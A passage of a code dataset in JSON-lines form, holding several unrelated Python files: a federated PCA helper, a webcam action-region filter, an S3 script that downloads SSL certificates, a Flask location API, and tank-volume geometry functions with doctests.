log_transmission(filename, \"G_i=SC\", iterations, i, G_list[i])\n                start = start + local_data[i].shape[1]\n\n\n    #print(iterations)\n    if federated_qr:\n        temp = []\n        if len(G_conv_list) != 0:\n            for i in range(len(G_list)):\n                temp.append(np.concatenate([G_conv_list[i], G_list[i]], axis=1))\n        G_conv = np.concatenate(temp, axis=0)\n    else:\n        if G_i.shape[1] > 0:\n            G_conv = np.concatenate([G_conv, G_i], axis= 1)\n    return G_conv, global_eigenvalues, converged_counter\n\n\ndef assure_consecutive(arr):\n    if len(arr) == 0:\n        return -1\n    i = 0\n    while i < (len(arr) - 1) and arr[i] + 1 == arr[i + 1]:\n        i = i + 1\n    return i\n\n\n####### END HYBRID POWER ITERATION SCHEME #######\n","repo_name":"AnneHartebrodt/federated-pca-simulation","sub_path":"python/PCA/vertical/sandbox/hybrid_test.py","file_name":"hybrid_test.py","file_ext":"py","file_size_in_byte":6875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"17883007120","text":"import time\nimport numpy as np\n\n\ndef argpercentile(vec, percentiles):\n    \"\"\"\n    Given a positive vector x, return indices at which the given percentiles are crossed.\n    \"\"\"\n    assert np.all(vec>=0) and vec.ndim==1\n    cs = np.cumsum(vec)\n\n    # dbplot(cs, plot_type='line')\n\n    total = cs[-1]\n    # vals = np.percentile(cs, percentiles)\n    # print(vals)\n\n    ixs = np.argmax(cs>total*percentiles[0]/100), np.argmax(cs>total*percentiles[1]/100)\n\n    # ixs = np.searchsorted(cs, vals)\n    return ixs\n\n\n\nclass ActionRegionFilter(object):\n    \"\"\"\n    Filter out the most action-packed part of the image\n    \"\"\"\n\n    def __init__(self, time_constant = 20, units='frames', subsampling=None, action_fraction = 0.6):\n        assert units in ('frames', 'sec')\n        assert 0 <= action_fraction <= 1\n        self.avg = None\n        self.units = units\n        self.time_constant = time_constant\n        self.subsampling = subsampling\n        self.percentiles = (.5-action_fraction/2.)*100, (.5+action_fraction/2.)*100\n        self.last_time = -float('inf')\n\n    def __call__(self, img):\n\n        working_im = img[::self.subsampling, ::self.subsampling] if self.subsampling is not None else img\n\n        if self.avg is None:\n            self.avg = working_im\n            return img\n        else:\n            if self.units == 'sec':\n                current_time = time.time()\n                frac = np.exp(-(current_time - self.last_time)/self.time_constant)\n                self.last_time = current_time\n            else:\n                frac = 1./self.time_constant\n            self.avg = (1-frac)*self.avg + frac*working_im\n\n            changes = np.sum(np.abs(working_im - self.avg), axis=2)\n\n            dbplot(changes, 'changes')\n            dbplot(changes.sum(axis=0), 'hchanges', plot_type='line')\n\n            hs, he = argpercentile(changes.sum(axis=0), percentiles=self.percentiles)\n            vs, ve = argpercentile(changes.sum(axis=1), percentiles=self.percentiles)\n\n            if self.subsampling is not None:\n                hs, he = hs*self.subsampling, he*self.subsampling\n                vs, ve = hs*self.subsampling, he*self.subsampling\n\n            print((hs, he))\n            return img[vs:ve+1, hs:he+1]\n\n\nif __name__ == '__main__':\n    import itertools\n    from vae_celebA.image_utils.video_camera import VideoCamera\n    from artemis.plotting.db_plotting import dbplot, hold_dbplots\n    import cv2\n    arf = ActionRegionFilter(time_constant = 20, action_fraction=0.9, subsampling=2)\n\n    cam = VideoCamera(size=(640, 480), device=0)\n\n    for t in itertools.count(0):\n        im = cam.read()\n        if im is not None:\n            fim = arf(im)\n            with hold_dbplots():\n                dbplot(im, 'im')\n                dbplot(fim, 'fim')","repo_name":"petered/deepmirror","sub_path":"vae_celebA/peters_extensions/demo_action_region_filter.py","file_name":"demo_action_region_filter.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70895448649","text":"import boto3\nimport os\n\ns3 = boto3.client(\n    's3',\n    aws_access_key_id=os.getenv('AWS_ACCESS_KEY_ID'),\n    aws_secret_access_key=os.getenv('AWS_SECRET_ACCESS_KEY'),\n    region_name=os.getenv('AWS_DEFAULT_REGION')\n)\n\ndef download_file(bucket, key, filename):\n    try:\n        s3.download_file(bucket, key, filename)\n        print(f\"Downloaded {key} to {filename}\")\n    except Exception as e:\n        print(f\"Error downloading {key}: {str(e)}\")\n\ndownload_file('api-roronline-com-ssl', 'api_roronline_com.crt', '/etc/nginx/ssl/api_roronline_com.crt')\ndownload_file('api-roronline-com-ssl', 'certificate.key', '/etc/nginx/ssl/certificate.key')\ndownload_file('api-roronline-com-ssl', 'ca_bundle.crt', '/etc/nginx/ssl/ca_bundle.crt')\n","repo_name":"iamlogand/republic-of-rome-online","sub_path":"backend/server/s3_download.py","file_name":"s3_download.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"33467721178","text":"from flask import request, g, Blueprint, json, Response\nfrom ..shared.Authentication import Auth\nfrom ..models.LocationModel import LocationModel, LocationSchema\n\nlocation_api = Blueprint('location_api', __name__)\nlocation_schema = LocationSchema()\n\n@location_api.route('/', methods=['POST'])\n@Auth.auth_required\n@Auth.terminal_required\ndef create():\n    \"\"\"\n    Post new location\n    ---\n    tags:\n        - locations\n    post:\n        description: Create new location providing latitude, longitude and info(optional)\n        consumes:\n            - application/json\n        parameters:\n            - in: body\n              name: location\n              description: Location GPS coordinates and info\n              schema:\n                type: object\n                required:\n                    - latitude\n                    - longitude\n                properties:\n                    latitude:\n                        type: number\n                        format: float\n                    longitude:\n                        type: number\n                        format: float\n                    info:\n                        type: string\n        responses:\n            201:\n                description: The location that has been posted\n                schema: LocationSchema\n            400:\n                description: Problem on posting new location\n                schema:\n                    type: string\n                    properties:\n                        _schema:\n                            type: string\n                            description: No data provided or invalid json format\n                        generated-error:\n                            type: string\n    \"\"\"\n    req_data = request.get_json()\n    if req_data is None:\n        message = {'_schema': 'No data provided or invalid json format'}\n        return custom_response(message, 400)\n\n    req_data['owner_id'] = g.user.get('id')\n    data, error = location_schema.load(req_data, partial=True)\n    if error:\n        return custom_response(error, 400)\n    location = LocationModel(data)\n    location.save()\n    data = location_schema.dump(location).data\n    return custom_response(data, 201)\n\n\n@location_api.route('/', methods=['GET'])\n@Auth.auth_required\ndef get_all():\n    \"\"\"\n    Get all locations\n    ---\n    tags:\n        - locations\n    get:\n        description: Get all locations from all users\n        produces:\n            - application/json\n        security:\n            - APIKeyHeader: []\n        responses:\n            200:\n                description: A list of all the locations\n                schema: LocationSchema\n    securityDefinitions:\n        APIKeyHeader:\n            type: apiKey\n            in: header\n            name: api-token\n            description: Auto generated api token\n    \"\"\"\n    locations = LocationModel.get_all_locations()\n    data = location_schema.dump(locations, many=True).data\n    return custom_response(data, 200)\n\n\n@location_api.route('/by-date')\n@Auth.auth_required\ndef get_between_dates():\n    \"\"\"\n    Get locations between dates\n    ---\n    tags:\n        - locations\n    get:\n        description: Get all locations between 2 datesr\n        produces:\n            - application/json\n        security:\n            - APIKeyHeader: []\n        parameters:\n            - in: query\n              name: start_date\n              type: string\n              format: date-time\n              required: true\n              description: Start date search\n            - in: query\n              name: end_date\n              type: string\n              format: date-time\n              reequired: true\n              description: End date search\n        responses:\n            200:\n                description: All locations that have been posted between the 2 dates\n                schema: LocationSchema\n            400:\n                description: No parameters\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: string\n            404:\n                description: No locations found betwen start_date and end_date\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: stringx\n    securityDefinitions:\n        APIKeyHeader:\n            type: apiKey\n            in: header\n            name: api-token\n            description: Auto generated api token\n    \"\"\"\n    args = request.args\n    if not args:\n        return custom_response( {'error': 'No parameters provided'}, 400 )\n    start_date = args['start_date']\n    end_date = args['end_date']\n    locations = LocationModel.get_by_dates(start_date, end_date)\n    if not locations:\n        return custom_response( {'error': 'Locations not found'}, 404 )\n    ser_locations = location_schema.dump(locations, many=True)\n    return custom_response(ser_locations, 200)\n\n\n@location_api.route('/<int:location_id>', methods=['PUT'])\n@Auth.auth_required\n@Auth.terminal_required\ndef update(location_id):\n    \"\"\"\n    Modify location\n    ---\n    tags:\n        - locations\n    put:\n        description: Modify location by its ID providing latitude, longitude and info (all optional, at least 1 required)\n        consumes:\n            - application/json\n        produces:\n            - application/json\n        parameters:\n            - in: body\n              name: location\n              description: Location GPS coordinates and info\n              schema:\n                type: object\n                properties:\n                    latitude:\n                        type: number\n                        format: float\n                    longitude:\n                        type: number\n                        format: float\n                    info:\n                        type: string\n        responses:\n            201:\n                description: The location that has been updated\n                schema: LocationSchema\n            400:\n                description: Operation available only for the owner of location\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: string\n                        generated-error:\n                            type: string\n            404:\n                description: Location not found (invalid location)\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: string\n    \"\"\"\n    req_data = request.get_json()\n    location = LocationModel.get_one_location(location_id)  # get location object from location ID\n    if not location:\n        return custom_response( {'error': 'Location not found (invalid location'}, 404 )\n    data = location_schema.dump(location).data  # convert location object to dict type with schema fields\n\n    if data.get('owner_id') != g.user.get('id'):\n        return custom_response( {'error': 'Permission denied. You are not the owner of this location post'}, 400 )\n\n    data, error = location_schema.load(req_data, partial=True)  # convert json to Location object with schema fields\n    if error:\n        return custom_response(error, 400)\n    location.update(data)\n\n    data = location_schema.dump(location).data\n    return custom_response(data, 200)\n\n\n@location_api.route('/<int:location_id>', methods=['DELETE'])\n@Auth.auth_required\n@Auth.terminal_required\ndef delete(location_id):\n    \"\"\"\n    Delete location by ID\n    ---\n    tags:\n        - locations\n    delete:\n        description: Delete a location by its numerical ID\n        security:\n            - APIKeyHeader: []\n        parameters:\n            - in: path\n              name: location_id\n              type: Integer\n              required: true\n              description: Numeric ID of the location to be deleted\n        responses:\n            204:\n                description: deleted\n                schema:\n                    type: string\n                    properties:\n                        message:\n                            type: string\n                            description: User deleted\n            400:\n                description: Permission denied. Only the user who created the location can delete it\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: string\n            404:\n                description: Location not found (invalid location)\n                schema:\n                    type: string\n                    properties:\n                        error:\n                            type: string\n    securityDefinitions:\n        APIKeyHeader:\n            type: apiKey\n            in: header\n            name: api-token\n            description: Auto generated api token\n    \"\"\"\n    location = LocationModel.get_one_location(location_id)\n    if not location:\n        return custom_response( {'error': 'Location not found (invalid location)'}, 404 )\n    data = location_schema.dump(location).data\n    if data.get('owner_id') != g.user.get('id'):\n        return custom_response( {'error': 'Permission denied'}, 400 )\n\n    location.delete()\n    return custom_response( {'message': 'Location deleted'}, 204 )\n\n\ndef custom_response(res, status_code):\n    \"\"\"\n    Custom response function\n    :param res:\n    :param status_code:\n    :return: Response()\n    \"\"\"\n    return Response(\n        mimetype=\"application/json\",\n        response=json.dumps(res),\n        status=status_code\n    )\n","repo_name":"georgebike/scd-app","sub_path":"src/views/LocationView.py","file_name":"LocationView.py","file_ext":"py","file_size_in_byte":9594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70739831367","text":"from __future__ import division\nfrom math import pi, sin, cos, asin, acos, atan, acosh\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom scipy.integrate import quad\nfrom scipy.optimize import fsolve\n\n__all__ = ['TANK', 'SA_partial_sphere', 'V_partial_sphere', 'V_horiz_conical',\n           'V_horiz_ellipsoidal', 'V_horiz_guppy', 'V_horiz_spherical',\n           'V_horiz_torispherical', 'V_vertical_conical',\n           'V_vertical_ellipsoidal', 'V_vertical_spherical',\n           'V_vertical_torispherical', 'V_vertical_conical_concave',\n           'V_vertical_ellipsoidal_concave', 'V_vertical_spherical_concave',\n           'V_vertical_torispherical_concave', 'a_torispherical', 'V_from_h']\n\n\n### Spherical Vessels, partially filled\n\n\ndef SA_partial_sphere(D, h):\n    r'''Calculates surface area of a partial sphere according to  [1]_.\n\n    .. math::\n        a = \\sqrt{h(2r - h)}\n\n        A = \\pi(a^2 + h^2)\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the sphere, [m]\n    h : float\n        Height, as measured up to where the sphere is cut off, [m]\n\n    Returns\n    -------\n    SA : float\n        Surface area [m^2]\n\n    Examples\n    --------\n    >>> SA_partial_sphere(1., 0.7)\n    2.199114857512855\n\n    References\n    ----------\n    .. [1] Weisstein, Eric W. \"Spherical Cap.\" Text. Accessed December 22, 2015.\n       http://mathworld.wolfram.com/SphericalCap.html.'''\n    r = D/2\n    a = (h*(2*r - h))**0.5\n    A = pi*(a**2 + h**2)\n    return A\n\n\n#print [SA_partial_sphere(1., 0.7)]\n\ndef V_partial_sphere(D, h):\n    r'''Calculates volume of a partial sphere according to [1]_.\n\n    .. math::\n        a = \\sqrt{h(2r - h)}\n\n        V = 1/6 \\pi h(3a^2 + h^2)\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the sphere, [m]\n    h : float\n        Height, as measured up to where the sphere is cut off, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    >>> V_partial_sphere(1., 0.7)\n    0.4105014400690663\n\n    References\n    ----------\n    .. [1] Weisstein, Eric W. \"Spherical Cap.\" Text. Accessed December 22, 2015.\n       http://mathworld.wolfram.com/SphericalCap.html.'''\n    r = D/2\n    a = (h*(2*r - h))**0.5\n    V = 1/6.*pi*h*(3*a**2 + h**2)\n    return V\n\n#print [V_partial_sphere(1., 0.7)]\n\n\n\n#def V_horizontal_bullet(D, L, H, b=None):\n#    # As in GPSA\n#    if not b:\n#        b = 0.25*D # elliptical 2:1 heads\n#    Ze = H/D\n#    Zc = H/D\n#    K1 = 2*b/D\n#    alpha = 2*atan(H/sqrt(2*H*D/2 - H**2))\n#    fZc = (alpha - sin(alpha)*cos(alpha))/pi\n#    fZe = -H**2/D**2*(-3 + 2*H/D)\n#    V = 1/6.*pi*K1*D**3*fZe + 1/4.*pi*D**2*L*fZc\n#    return V\n\n#print V_horizontal_bullet(1., 5., .4999999999999, 0.000000000000000001)\n# TODO: SA\n\n#def V_vertical_bullet(D, L, H, b=None):\n#    K1 = 2*b/D\n#    Ze = (H1 + H2)/K1*D # is divided by D?\n#    fZe = -((H1 + H2))\n#\n#    V = 1/6.*pi*K1*D**3*fZe + 1/4.*pi*D**2*L*fZc\n#    return V\n\n\n\n### Functions as developed by Dan Jones\n\ndef V_horiz_conical(D, L, a, h, headonly=False):\n    r'''Calculates volume of a tank with conical ends, according to [1]_.\n\n    .. math::\n        V_f = A_fL + \\frac{2aR^2}{3}K, \\;\\;0 \\le h < R\\\\\n\n        V_f = A_fL + \\frac{2aR^2}{3}\\pi/2,\\;\\; h = R\\\\\n\n        V_f = A_fL + \\frac{2aR^2}{3}(\\pi-K), \\;\\; R< h \\le 2R\n\n        K = \\cos^{-1} M + M^3\\cosh^{-1} \\frac{1}{M} - 2M\\sqrt{1 - M^2}\n\n        M = \\left|\\frac{R-h}{R}\\right|\n\n        Af = R^2\\cos^{-1}\\frac{R-h}{R} - (R-h)\\sqrt{2Rh - h^2}\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    L : float\n        Length of the main cylindrical section, [m]\n    a : float\n        Distance the cone head extends on one side, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n    headonly : bool, optional\n        Function returns only the volume of a single head side if True\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at midway, full, and empty.\n\n    >>> [V_horiz_conical(D=108., L=156., a=42., h=i)/231.\n    ... for i in (36, 84, 54, 108, 0)]\n    [2041.1923581273443, 6180.540773905826, 3648.490668241736, 7296.981336483472, 0.0]\n\n    Head only custom example:\n\n    >>> V_horiz_conical(D=108., L=156., a=42., h=84., headonly=True)/231.\n    508.8239000645628\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    R = D/2.\n    Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n    M = abs((R-h)/R)\n    if h == R:\n        Vf = 2*a*R**2/3*pi/2\n    else:\n        K = acos(M) + M**3*acosh(1./M) - 2*M*(1-M**2)**0.5\n        if 0 <= h < R:\n            Vf = 2*a*R**2/3*K\n        elif R < h <= 2*R:\n            Vf = 2*a*R**2/3*(pi-K)\n    if headonly:\n        Vf = Vf/2.\n    else:\n        Vf += Af*L\n    return Vf\n\n#print [V_horiz_conical(D=108., L=156., a=42., h=i)/231. for i in (36, 84, 54, 108, 0)] # 471515.434727\n#print [V_horiz_conical(D=108., L=156., a=42., h=84., headonly=True)/231.]\n\n\ndef V_horiz_ellipsoidal(D, L, a, h, headonly=False):\n    r'''Calculates volume of a tank with ellipsoidal ends, according to [1]_.\n\n    .. math::\n        V_f = A_fL + \\pi a h^2\\left(1 - \\frac{h}{3R}\\right)\n\n        Af = R^2\\cos^{-1}\\frac{R-h}{R} - (R-h)\\sqrt{2Rh - h^2}\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    L : float\n        Length of the main cylindrical section, [m]\n    a : float\n        Distance the ellipsoidal head extends on one side, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n    headonly : bool, optional\n        Function returns only the volume of a single head side if True\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at midway, full, and empty.\n\n    >>> [V_horiz_ellipsoidal(D=108., L=156., a=42., h=i)/231.\n    ... for i in (36, 84, 54, 108, 0)]\n    [2380.9565415578145, 7103.445235921378, 4203.695769930696, 8407.391539861392, 0.0]\n\n    Head only custom example:\n\n    >>> V_horiz_ellipsoidal(D=108., L=156., a=42., h=84., headonly=True)/231.\n    970.2761310723387\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    R = D/2.\n    Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n    Vf = pi*a*h**2*(1 - h/3./R)\n    if headonly:\n        Vf = Vf/2.\n    else:\n        Vf += Af*L\n    return Vf\n\n#print [V_horiz_ellipsoidal(D=108., L=156., a=42., h=i)/231. for i in (36, 84, 54, 108, 0)] # 471515.434727\n#print [V_horiz_ellipsoidal(D=108., L=156., a=42., h=84., headonly=True)/231.]\n\ndef V_horiz_guppy(D, L, a, h, headonly=False):\n    r'''Calculates volume of a tank with guppy heads, according to [1]_.\n\n    .. math::\n        V_f = A_fL + \\frac{2aR^2}{3}\\cos^{-1}\\left(1 - \\frac{h}{R}\\right)\n        +\\frac{2a}{9R}\\sqrt{2Rh - h^2}(2h-3R)(h+R)\n\n        Af = R^2\\cos^{-1}\\frac{R-h}{R} - (R-h)\\sqrt{2Rh - h^2}\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    L : float\n        Length of the main cylindrical section, [m]\n    a : float\n        Distance the guppy head extends on one side, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n    headonly : bool, optional\n        Function returns only the volume of a single head side if True\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at midway, full, and empty.\n\n    >>> [V_horiz_guppy(D=108., L=156., a=42., h=i)/231.\n    ... for i in (36, 84, 54, 108, 0)]\n    [1931.7208029476762, 5954.110515329029, 3412.8543046053724, 7296.981336483472, 0.0]\n\n    Head only custom example:\n\n    >>> V_horiz_guppy(D=108., L=156., a=42., h=36, headonly=True)/231.\n    63.266257496613804\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    R = D/2.\n    Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n    Vf = 2*a*R**2/3*acos(1 - h/R) + 2*a/9./R*(2*R*h - h**2)**0.5*(2*h - 3*R)*(h + R)\n    if headonly:\n        Vf = Vf/2.\n    else:\n        Vf += Af*L\n    return Vf\n\n#print [V_horiz_guppy(D=108., L=156., a=42., h=i)/231. for i in (36, 84, 54, 108, 0)] # 471515.434727\n#print [V_horiz_guppy(D=108., L=156., a=42., h=36, headonly=True)/231.]\n\ndef V_horiz_spherical(D, L, a, h, headonly=False):\n    r'''Calculates volume of a tank with spherical heads, according to [1]_.\n\n    .. math::\n        V_f = A_fL + \\frac{\\pi a}{6}(3R^2 + a^2),\\;\\; h = R, |a|\\le R\n\n        V_f = A_fL + \\frac{\\pi a}{3}(3R^2 + a^2),\\;\\; h = D, |a|\\le R\n\n        V_f = A_fL + \\pi a h^2\\left(1 - \\frac{h}{3R}\\right),\\;\\; h = 0,\n        \\text{ or } |a| = 0, R, -R\n\n        V_f = A_fL + \\frac{a}{|a|}\\left\\{\\frac{2r^3}{3}\\left[\\cos^{-1}\n        \\frac{R^2 - rw}{R(w-r)} + \\cos^{-1}\\frac{R^2 + rw}{R(w+r)}\n        - \\frac{z}{r}\\left(2 + \\left(\\frac{R}{r}\\right)^2\\right)\n        \\cos^{-1}\\frac{w}{R}\\right] - 2\\left(wr^2 - \\frac{w^3}{3}\\right)\n        \\tan^{-1}\\frac{y}{z} + \\frac{4wyz}{3}\\right\\}\n        ,\\;\\; h \\ne R, D; a \\ne 0, R, -R, |a| \\ge 0.01D\n\n        V_f = A_fL + \\frac{a}{|a|}\\left[2\\int_w^R(r^2 - x^2)\\tan^{-1}\n        \\sqrt{\\frac{R^2-x^2}{r^2-R^2}}dx - A_f z\\right]\n        ,\\;\\; h \\ne R, D; a \\ne 0, R, -R, |a| < 0.01D\n\n        Af = R^2\\cos^{-1}\\frac{R-h}{R} - (R-h)\\sqrt{2Rh - h^2}\n\n        r = \\frac{a^2 + R^2}{2|a|}\n\n        w = R - h\n\n        y = \\sqrt{2Rh-h^2}\n\n        z = \\sqrt{r^2 - R^2}\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    L : float\n        Length of the main cylindrical section, [m]\n    a : float\n        Distance the spherical head extends on one side, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n    headonly : bool, optional\n        Function returns only the volume of a single head side if True\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at midway, full, and empty.\n\n    >>> [V_horiz_spherical(D=108., L=156., a=42., h=i)/231.\n    ... for i in (36, 84, 54, 108, 0)]\n    [2303.9615116986183, 6935.163365275476, 4094.025626387197, 8188.051252774394, 0.0]\n\n    Test when the integration function is called, on its limits:\n\n    >>> [V_horiz_spherical(D=108., L=156., a=i, h=84.)/231.\n    ... for i in (108*.009999999, 108*.01000001)]\n    [5201.54341872961, 5201.543461255985]\n\n    Head only custom example:\n\n    >>> V_horiz_spherical(D=108., L=156., a=42., h=84., headonly=True)/231.\n    886.1351957493874\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    R = D/2.\n    r = (a**2 + R**2)/2./abs(a)\n    w = R - h\n    y = (2*R*h - h**2)**0.5\n    z = (r**2 - R**2)**0.5\n    Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n\n    if h == R and abs(a) <= R:\n        Vf = pi*a/6*(3*R**2 + a**2)\n    elif h == D and abs(a) <= R:\n        Vf = pi*a/3*(3*R**2 + a**2)\n    elif h == 0 or a == 0 or a == R or a == -R:\n        Vf = pi*a*h**2*(1 - h/3./R)\n    elif abs(a) >= 0.01*D:\n        Vf = a/abs(a)*(\n        2*r**3/3.*(acos((R**2 - r*w)/(R*(w-r))) + acos((R**2+r*w)/(R*(w+r)))\n        - z/r*(2+(R/r)**2)*acos(w/R))\n        - 2*(w*r**2 - w**3/3)*atan(y/z) + 4*w*y*z/3)\n    else:\n        def V_horiz_spherical_toint(x):\n            return (r**2 - x**2)*atan(((R**2 - x**2)/(r**2 - R**2))**0.5)\n        integrated = quad(V_horiz_spherical_toint, w, R)[0]\n        Vf = a/abs(a)*(2*integrated - Af*z)\n    if headonly:\n        Vf = Vf/2.\n    else:\n        Vf += Af*L\n    return Vf\n\n\n#print [V_horiz_spherical(D=108., L=156., a=42., h=i)/231. for i in (36, 84, 54, 108, 0)] # 471515.434727\n#print [V_horiz_spherical(D=108., L=156., a=i, h=84.)/231. for i in (108*.009999999, 108*.01000001)]\n#print [V_horiz_spherical(D=108., L=156., a=42., h=84., headonly=True)/231.]\n\n\ndef V_horiz_torispherical(D, L, f, k, h, headonly=False):\n    r'''Calculates volume of a tank with torispherical heads, according to [1]_.\n\n    .. math::\n        V_f  = A_fL + 2V_1, \\;\\; 0 \\le h \\le h_1\\\\\n        V_f  = A_fL + 2(V_{1,max} + V_2 + V_3), \\;\\; h_1 < h < h_2\\\\\n        V_f  = A_fL + 2[2V_{1,max} - V_1(h=D-h) + V_{2,max} + V_{3,max}]\n        , \\;\\; h_2 \\le h \\le D\n\n        V_1 = \\int_0^{\\sqrt{2kDh - h^2}} \\left[n^2\\sin^{-1}\\frac{\\sqrt\n        {n^2-w^2}}{n} - w\\sqrt{n^2-w^2}\\right]dx\n\n        V_2 = \\int_0^{kD\\cos\\alpha}\\left[n^2\\left(\\cos^{-1}\\frac{w}{n}\n        - \\cos^{-1}\\frac{g}{n}\\right) - w\\sqrt{n^2 - w^2} + g\\sqrt{n^2\n        - g^2}\\right]dx\n\n        V_3 = \\int_w^g(r^2 - x^2)\\tan^{-1}\\frac{\\sqrt{g^2 - x^2}}{z}dx\n        - \\frac{z}{2}\\left(g^2\\cos^{-1}\\frac{w}{g} - w\\sqrt{2g(h-h_1)\n        - (h-h_1)^2}\\right)\n\n        V_{1,max} = v_1(h=h_1)\n\n        v_{2,max} = v_2(h=h_2)\n\n        v_{3,max} = \\frac{\\pi a_1}{6}(3g^2 + a_1^2)\n\n        a_1 = fD(1-\\cos\\alpha)\n\n        \\alpha = \\sin^{-1}\\frac{1-2k}{2(f-k)}\n\n        n = R - kD + \\sqrt{k^2D^2-x^2}\n\n        g = r\\sin\\alpha\n\n        r = fD\n\n        h_2 = D - h_1\n\n        w = R - h\n\n        z = \\sqrt{r^2- g^2}\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    L : float\n        Length of the main cylindrical section, [m]\n    f : float\n        Dish-radius parameter; fD  = dish radius []\n    k : float\n        knucle-radius parameter ; kD = knucle radius []\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n    headonly : bool, optional\n        Function returns only the volume of a single head side if True\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at midway, full, empty, and 1 inch; covering\n    all code cases.\n\n    >>> [V_horiz_torispherical(D=108., L=156., f=1., k=0.06, h=i)/231.\n    ... for i in [36, 84, 54, 108, 0, 1]]\n    [2028.626670842139, 5939.897910157917, 3534.9973314622794, 7069.994662924554, 0.0, 9.580013820942611]\n\n    Head only custom example:\n\n    >>> V_horiz_spherical(D=108., L=156., a=42., h=84., headonly=True)/231.\n    886.1351957493874\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    R = D/2.\n    Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n    r = f*D\n    alpha = asin((1 - 2*k)/(2.*(f-k)))\n    a1 = r*(1-cos(alpha))\n    g = r*sin(alpha)\n    z = r*cos(alpha)\n    h1 = k*D*(1-sin(alpha))\n    h2 = D - h1\n\n    def V1_toint(x, w):\n        n = R - k*D + (k**2*D**2 - x**2)**0.5\n        ans = n**2*asin((n**2-w**2)**0.5/n) - w*(n**2 - w**2)**0.5\n        return ans\n    def V2_toint(x, w):\n        n = R - k*D + (k**2*D**2 - x**2)**0.5\n        ans = n**2*(acos(w/n) - acos(g/n)) - w*(n**2 - w**2)**0.5 + g*(n**2-g**2)**0.5\n        return ans\n    def V3_toint(x):\n        ans = (r**2-x**2)*atan((g**2-x**2)**0.5/z)\n        return ans\n\n    if 0 <= h <= h1:\n        w = R - h\n        Vf = 2*quad(V1_toint, 0, (2*k*D*h-h**2)**0.5, w)[0]\n    elif h1 < h < h2:\n        w = R - h\n        wmax1 = R - h1\n        V1max = quad(V1_toint, 0, (2*k*D*h1-h1**2)**0.5, wmax1)[0]\n        V2 = quad(V2_toint, 0, k*D*cos(alpha), w)[0]\n        V3 = quad(V3_toint, w, g)[0] - z/2.*(g**2*acos(w/g) -w*(2*g*(h-h1) - (h-h1)**2)**0.5)\n        Vf = 2*(V1max + V2 + V3)\n    else:\n        w = R - h\n        wmax1 = R - h1\n        wmax2 = R - h2\n        wwerird = R - (D - h)\n\n        V1max = quad(V1_toint, 0, (2*k*D*h1-h1**2)**0.5, wmax1)[0]\n        V1weird = quad(V1_toint, 0, (2*k*D*(D-h)-(D-h)**2)**0.5, wwerird)[0]\n        V2max = quad(V2_toint, 0, k*D*cos(alpha), wmax2)[0]\n        V3max = pi*a1/6.*(3*g**2 + a1**2)\n        Vf = 2*(2*V1max - V1weird + V2max + V3max)\n    if headonly:\n        Vf = Vf/2.\n    else:\n        Vf += Af*L\n    return Vf\n\n#print [V_horiz_torispherical(D=108., L=156., f=1., k=0.06, h=i)/231. for i in [36, 84, 54, 108, 0, 1]]\n#print [V_horiz_torispherical(D=108., L=156., f=1., k=0.06, h=i, headonly=True)/231.]\n\n### Begin vertical tanks\n\ndef V_vertical_conical(D, a, h):\n    r'''Calculates volume of a vertical tank with a convex conical 